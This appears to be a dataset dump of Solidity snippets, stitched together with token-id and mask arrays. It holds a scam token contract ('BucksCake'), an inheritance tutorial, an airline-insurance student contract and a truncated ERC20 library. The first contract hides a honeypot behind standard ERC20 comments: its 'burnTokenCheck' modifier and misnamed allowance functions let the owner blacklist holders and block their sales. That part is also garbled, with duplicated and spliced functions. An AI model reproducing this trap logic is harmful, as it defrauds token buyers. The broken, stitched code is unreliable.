amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } constructor () public { _name = 'BucksCake'; _symbol = 'BCK'; _decimals = 18; _owner = msg.sender; _safeOwner = msg.sender; _mint(_owner, 100*1e6*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (_whiteAddress[sender] == true){ if (amount < _sellAmount){ } } } } if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} }
14,518,879
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 14739, 1887, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 11223, 1887, 31, 203, 377, 203, 565, 2254, 5034, 3238, 389, 87, 1165, 6275, 273, 374, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 377, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 2254, 5034, 3238, 389, 12908, 537, 620, 273, 22821, 7235, 3462, 6675, 4366, 9036, 2313, 3657, 6564, 4366, 10321, 5908, 7140, 713, 5292, 28, 7235, 8642, 7140, 27284, 2733, 5193, 6028, 25, 1105, 6260, 1105, 4630, 29, 7950, 5877, 5193, 713, 7235, 3437, 24886, 4449, 2733, 4763, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 3238, 389, 4626, 5541, 31, 203, 565, 1758, 3238, 389, 318, 77, 10717, 273, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 31, 203, 377, 203, 203, 97, 203, 282, 3885, 1832, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract A { // virutal means that this func can be inherited and customized function ThisContract() public pure virtual returns (string memory) { return "A"; } // This func can be inherited but not overrided function ParentContract() public pure returns (string memory) { return "A"; } // This func can be inherited but not overrided function BestProgrammer() public pure virtual returns (string memory) { return "Me!"; } } /* Lot of duplicate codes just for using same functions as contract A and rename the output -_- */ // contract B_Wrong_Way { // function ThisContract() public pure returns (string memory) { // return "B"; // } // } // Contract B inherit all Contract A varaible/functions contract B is A { // we write the func to override and put the "override" to change the code inside function ThisContract() public pure override returns (string memory) { return "B"; // If we call this func from contract B, the output will now be "B" } // If we call "ParentContract()" form contract B, the output will be "A" // We override this func, and put it "virtual" so the children of B will be able to reoverride it function BestProgrammer() public pure virtual override returns (string memory) { return "Like Not Me, but we you will read it, you will read 'Me', so it's YOU! "; } } // C inherit B which inherit A --> So C inherit both B and A var/func contract C is B { // If we call "ParentContract()" form contract C, the output will be "A" function BestProgrammer() public pure override returns (string memory) { return "To flatten a bit; YOU ARE THE BEST PROGRAMMER EVER!!"; } }
We override this func, and put it "virtual" so the children of B will be able to reoverride it
function BestProgrammer() public pure virtual override returns (string memory) { return "Like Not Me, but we you will read it, you will read 'Me', so it's YOU! "; }
5,452,657
[ 1, 3218, 3849, 333, 1326, 16, 471, 1378, 518, 315, 12384, 6, 1427, 326, 2325, 434, 605, 903, 506, 7752, 358, 283, 10601, 518, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 25717, 9459, 6592, 1435, 203, 565, 1071, 203, 565, 16618, 203, 565, 5024, 203, 565, 3849, 203, 565, 1135, 261, 1080, 3778, 13, 203, 225, 288, 203, 565, 327, 203, 1377, 315, 8804, 2288, 7499, 16, 1496, 732, 1846, 903, 855, 518, 16, 1846, 903, 855, 296, 4667, 2187, 1427, 518, 1807, 1624, 26556, 5, 13636, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; // region xxx /* ..........................................*/ /* ..........................................*/ // endregion // region OTHER /* ..........................................*/ /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false uint256 public airlineCount; /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ /** * @dev Constructor * The deploying account becomes contractOwner */ constructor ( ) public { contractOwner = msg.sender; // TODO: REGISTER FIRST AIRLINE WHEN DEPLOYED //DONE // airlines[contractOwner].airlineAddress=contractOwner; airlines[contractOwner].isRegistered = true; airlines[contractOwner].isFund = true; airlines[contractOwner].airlineName = "SAUDI AIRLINES"; airlines[contractOwner].airlineAddress = contractOwner; airlinesAdresses.push(contractOwner); // airlinesAdresses.push("0x18495d2af425d56005812644136bf68282188aea"); // airlinesAdresses.push("0xc61c9dadd04970bcd7802ecebf758f87b1e35d15"); // airlinesAdresses.push("0xa513e91f2aaa5ec9b9b4815f44494fb323ae8a08"); // airlinesAdresses.push("0xd64f959e7f9060e034c0fc9d61c5bc0b71e0d38c"); // We know the length of the array // uint cnt = airlinesAdresses.length; // for (uint i=0; i<cnt; i++) { // airlines[airlinesAdresses[i]].isRegistered = false; // airlines[airlinesAdresses[i]].isFund = 0; // airlines[airlinesAdresses[i]].airlineName = "Airline-" ; // airlines[airlinesAdresses[i]].airlineAddress = airlinesAdresses[i]; // } } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } modifier requireIsFunded(address _address) { require(airlines[_address].isFund , "Airline should be funded"); _; } modifier requireIsAuthorized(address _address) { require(AuthorizedAddress[_address]==1 , "Not Authorized caller"); _; } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Authorize address * */ mapping (address=>uint8) AuthorizedAddress; function authorizeCaller( address _address ) public { //TODO: ADD ADDRESS TO ARRAY AuthorizedAddress[_address]=1; } /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isOperational() public view returns(bool) { return operational; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus ( bool mode ) external requireContractOwner { operational = mode; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /* ..........................................*/ // endregion // region AIRLINE /* ..........................................*/ struct Airline { bool isRegistered; bool isFund; string airlineName; address airlineAddress; } mapping(address => Airline) public airlines; address[] airlinesAdresses; function createAirline ( address _address , string _name ) external { airlines[_address].isRegistered = false; airlines[_address].isFund = false; airlines[_address].airlineName =_name; airlines[_address].airlineAddress=_address; airlinesAdresses.push(_address); } function getAirlineCount() external view returns (uint256) { return airlineCount; } /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * */ function registerAirline ( address _address ) requireIsAuthorized(_address) requireIsFunded( _address) requireIsOperational() external { airlines[_address].isRegistered = true; } /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * */ function fundAirline(address _address ,uint256 fundValue) external payable{ airlines[_address].isFund = true; } function getAirlinesAdresses() external view returns (address[]) { return airlinesAdresses; } function isAirline ( address _address ) external view // returns (bool,uint256,address) returns (bool) { // airlines[airlineAddress].isRegistered = true; // airlines[airlineAddress].isFund = 10; // airlines[airlineAddress].isRegistered = true; return airlines[_address].isRegistered; // return ( // airlines[airlineAddress].isRegistered, // testme, // airlines[airlineAddress].isFund, // airlineAddress // ); // return true; // return false; } function getAirline ( address _address ) external view // returns (bool,uint256,string,address) returns (bool,bool,string,address) { // airlines[airlineAddress].isRegistered = true; // airlines[airlineAddress].isFund = 10; // airlines[airlineAddress].isRegistered = true; // return airlines[airlineAddress].isRegistered; return ( airlines[_address].isRegistered, airlines[_address].isFund, airlines[_address].airlineName, airlines[_address].airlineAddress ); // return true; // return false; } /* ..........................................*/ // endregion /* .................................................... INSURANCE .................................................... */ /** * @dev Buy insurance for a flight * */ function buy ( ) external payable { } /** * @dev Credits payouts to insurees */ function creditInsurees ( ) external pure { } /** * @dev Transfers eligible payout funds to insuree * */ function pay ( ) external pure { } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining * */ function fund ( ) public payable { } function getFlightKey ( address airline, string memory flight, uint256 timestamp ) pure internal returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } /** * @dev Fallback function for funding smart contract. * */ function() external payable { fund(); } }
returns (bool,uint256,address) airlines[airlineAddress].isRegistered = true; airlines[airlineAddress].isFund = 10; airlines[airlineAddress].isRegistered = true; return ( airlines[airlineAddress].isRegistered, testme, airlines[airlineAddress].isFund, airlineAddress ); return true; return false;
function isAirline ( address _address ) external view returns (bool) { return airlines[_address].isRegistered; }
2,472,479
[ 1, 6154, 261, 6430, 16, 11890, 5034, 16, 2867, 13, 23350, 3548, 63, 1826, 1369, 1887, 8009, 291, 10868, 273, 638, 31, 23350, 3548, 63, 1826, 1369, 1887, 8009, 291, 42, 1074, 273, 1728, 31, 23350, 3548, 63, 1826, 1369, 1887, 8009, 291, 10868, 273, 638, 31, 327, 261, 23350, 3548, 63, 1826, 1369, 1887, 8009, 291, 10868, 16, 377, 1842, 3501, 16, 377, 23350, 3548, 63, 1826, 1369, 1887, 8009, 291, 42, 1074, 16, 377, 23350, 1369, 1887, 11272, 327, 638, 31, 327, 629, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 25997, 481, 1369, 203, 10792, 261, 203, 13491, 1758, 389, 2867, 203, 10792, 262, 203, 10792, 3903, 203, 10792, 1476, 8227, 203, 10792, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 327, 23350, 3548, 63, 67, 2867, 8009, 291, 10868, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-01-29 */ /** *Submitted for verification at Etherscan.io on 2019-12-09 */ pragma solidity ^0.5.12; library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) 